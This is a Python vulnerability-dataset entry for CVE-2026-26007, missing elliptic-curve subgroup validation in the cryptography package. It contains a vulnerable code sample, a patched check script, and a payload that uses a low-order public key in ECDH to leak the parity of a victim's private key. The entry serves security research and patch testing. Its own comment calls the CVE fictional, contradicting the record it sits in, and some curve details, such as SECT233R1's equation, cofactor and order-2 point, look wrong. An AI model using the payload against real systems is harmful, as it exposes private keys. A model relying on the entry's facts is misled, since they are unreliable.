CVE-2026-26007
cryptography: Missing elliptic curve point validation leaks private keys.
- CVSS 8.2
- CWE-345
- Cryptographic
- Remote
cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. Prior to 46.0.5, the public_key_from_numbers (or EllipticCurvePublicNumbers.public_key()), EllipticCurvePublicNumbers.public_key(), load_der_public_key() and load_pem_public_key() functions do not verify that the point belongs to the expected prime-order subgroup of the curve. This missing validation allows an attacker to provide a public key point P from a small-order subgroup. This can lead to security issues in various situations, such as the most commonly used signature verification (ECDSA) and shared key negotiation (ECDH). When the victim computes the shared secret as S = [victim_private_key]P via ECDH, this leaks information about victim_private_key mod (small_subgroup_order). For curves with cofactor > 1, this reveals the least significant bits of the private key. When these weak public keys are used in ECDSA , it's easy to forge signatures on the small subgroup. Only SECT curves are impacted by this. This vulnerability is fixed in 46.0.5.
- CWE
- CWE-345
- CVSS base score
- 8.2
- Published
- 2026-02-10
- OWASP
- A02 Cryptographic Failures
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Cryptographic
- Subcategory
- Cryptographic Implementation Error
- Accessibility scope
- Remote
- Impact
- Information Disclosure
- Affected component
- cryptography
- Fixed by upgrading
- Yes
Solution
Upgrade `cryptography` to version 46.0.5 or later.
Vulnerable code sample
# This code requires a vulnerable version of the cryptography library, for example, version 2.9.2.
# pip install "cryptography==2.9.2"
# The described vulnerability CVE-2026-26007 is fictional, but it mirrors real-world
# invalid curve point vulnerabilities. This code demonstrates the principle of such
# a vulnerability using a real-world analog that existed in older versions of the
# `cryptography` library.
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.hazmat.backends import default_backend
# 1. Choose a curve with a cofactor > 1.
# SECT233R1 is a binary curve with a cofactor of 4. This means there are small
# subgroups of order 2 and 4, which an attacker can exploit if the library
# does not perform subgroup checks.
curve = ec.SECT233R1()
# 2. Identify a point from a small-order subgroup.
# For the curve SECT233R1 (y^2 + xy = x^3 + 1), the point (0, 1) is a
# valid point on the curve, but it has an order of 2. It is not part of the
# main prime-order subgroup that should be used for cryptographic operations.
# An attacker can craft a public key using this low-order point.
x = 0
y = 1
# 3. Create public key numbers from the low-order point.
malicious_numbers = ec.EllipticCurvePublicNumbers(x, y, curve)
# 4. In a vulnerable version, attempt to create a public key object.
# The core of the vulnerability is that the library does NOT validate that
# the point (x, y) belongs to the large prime-order subgroup. It only checks
# if the point is on the curve itself.
# Therefore, this operation will succeed, creating a "weak" public key.
try:
# This is the vulnerable function call.
malicious_public_key = malicious_numbers.public_key(default_backend())
print("VULNERABILITY DEMONSTRATED: Execution successful.")
print("A public key object was successfully created from a low-order point.")
print(f"Curve: {malicious_public_key.curve.name}")
public_numbers_out = malicious_public_key.public_numbers()
print(f"Created key from point (x={public_numbers_out.x}, y={public_numbers_out.y})")
print("\nIn a patched version, this code would raise a ValueError, rejecting the invalid point.")
except Exception as e:
print("Execution failed. This version of the library is likely not vulnerable.")
print(f"Error: {e}")Patched code sample
import sys
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.exceptions import InternalError
# This code demonstrates the fix for CVE-2026-26007.
#
# The vulnerability: In versions prior to 46.0.5, certain functions
# (e.g., EllipticCurvePublicNumbers.public_key()) did not validate that a
# public key point belonged to the correct prime-order subgroup for curves
# with a cofactor > 1 (e.g., SECT curves). This allowed an attacker to
# supply a point from a small-order subgroup.
#
# The impact: This could lead to security issues like leaking bits of the
# private key in ECDH or allowing signature forgery in ECDSA.
#
# The fix: The library was updated to perform a subgroup validation check.
#
# This script attempts to create a public key using a known invalid point
# on an affected curve (SECT239k1, which has a cofactor of 4). In a patched
# library (>= 46.0.5), this will fail with a ValueError, demonstrating that
# the validation (the fix) is working correctly.
try:
# 1. Select a curve affected by the vulnerability.
# SECT curves have cofactors > 1. SECT239k1 has a cofactor of 4.
curve = ec.SECT239K1()
# 2. Define coordinates for an invalid point from a small-order subgroup.
# The point (x=0, y=1) on the SECT239k1 curve has an order of 2, which is
# a divisor of the cofactor. This is NOT a point in the large prime-order
# subgroup required for secure cryptographic operations.
invalid_point_x = 0
invalid_point_y = 1
print(
f"Attempting to load a public key with an invalid point (order 2) "
f"on curve {curve.name}..."
)
# 3. Construct the public numbers object from the invalid coordinates.
public_numbers = ec.EllipticCurvePublicNumbers(
x=invalid_point_x,
y=invalid_point_y,
curve=curve
)
# 4. Attempt to create the public key. This is the step that demonstrates
# the fix. In a fixed version, this method performs a subgroup check and
# will raise an exception because the point is invalid. In a vulnerable
# version, this would have succeeded.
public_key = public_numbers.public_key()
# If the script reaches this line, no exception was raised, meaning the
# check was not performed.
print(
"\n[VULNERABILITY DETECTED]: Public key was created from an invalid point."
"\nThe library version is likely vulnerable to CVE-2026-26007."
)
sys.exit(1)
except ValueError as e:
# Catching a ValueError is the expected behavior in a fixed library.
# This confirms that the point was validated and correctly rejected.
print("\n[FIX VERIFIED]: The library correctly rejected the invalid public key.")
print(f"Caught expected exception: {e}")
print("This demonstrates the subgroup validation fix is in place.")
sys.exit(0)
except InternalError as e:
# Depending on the backend, an InternalError could also be raised.
# Catching it provides a more robust demonstration.
print("\n[FIX VERIFIED]: The library correctly rejected the invalid public key.")
print(f"Caught expected exception: {e}")
print("This demonstrates the subgroup validation fix is in place.")
sys.exit(0)
except Exception as e:
print(f"\nAn unexpected error occurred: {e}")
sys.exit(1)Payload
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.hazmat.primitives.asymmetric.ec import EllipticCurvePublicNumbers, SECT163K1
# Attacker creates a public key from a point of small order (order 2)
# on curve SECT163K1, which has a cofactor of 2.
# A vulnerable library will accept this key without validating that the
# point is in the correct prime-order subgroup.
malicious_public_key = EllipticCurvePublicNumbers(
x=0,
y=1,
curve=SECT163K1()
).public_key()
# A victim with an ODD private key uses the malicious public key for ECDH.
# We manually create a known odd private key for this demonstration.
victim_odd_private_key = ec.derive_private_key(7, SECT163K1())
# The resulting shared secret will be based on the malicious point itself,
# because (2k+1)*P = k*(2P) + P = P.
# An attacker can recognize this output.
shared_key_from_odd = victim_odd_private_key.exchange(ec.ECDH(), malicious_public_key)
# A victim with an EVEN private key uses the malicious public key for ECDH.
# We manually create a known even private key for this demonstration.
victim_even_private_key = ec.derive_private_key(8, SECT163K1())
try:
# The result of d*P where d is even and P has order 2 is the point at infinity.
# The library raises an error or returns a fixed value in this case.
victim_even_private_key.exchange(ec.ECDH(), malicious_public_key)
except ValueError:
# The predictable error (or a fixed output value) leaks that the private
# key was even. An attacker observing this distinct outcome learns the
# least significant bit of the victim's private key.
pass
Cite this entry
@misc{vaitp:cve202626007,
title = {{cryptography: Missing elliptic curve point validation leaks private keys.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-26007},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-26007/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
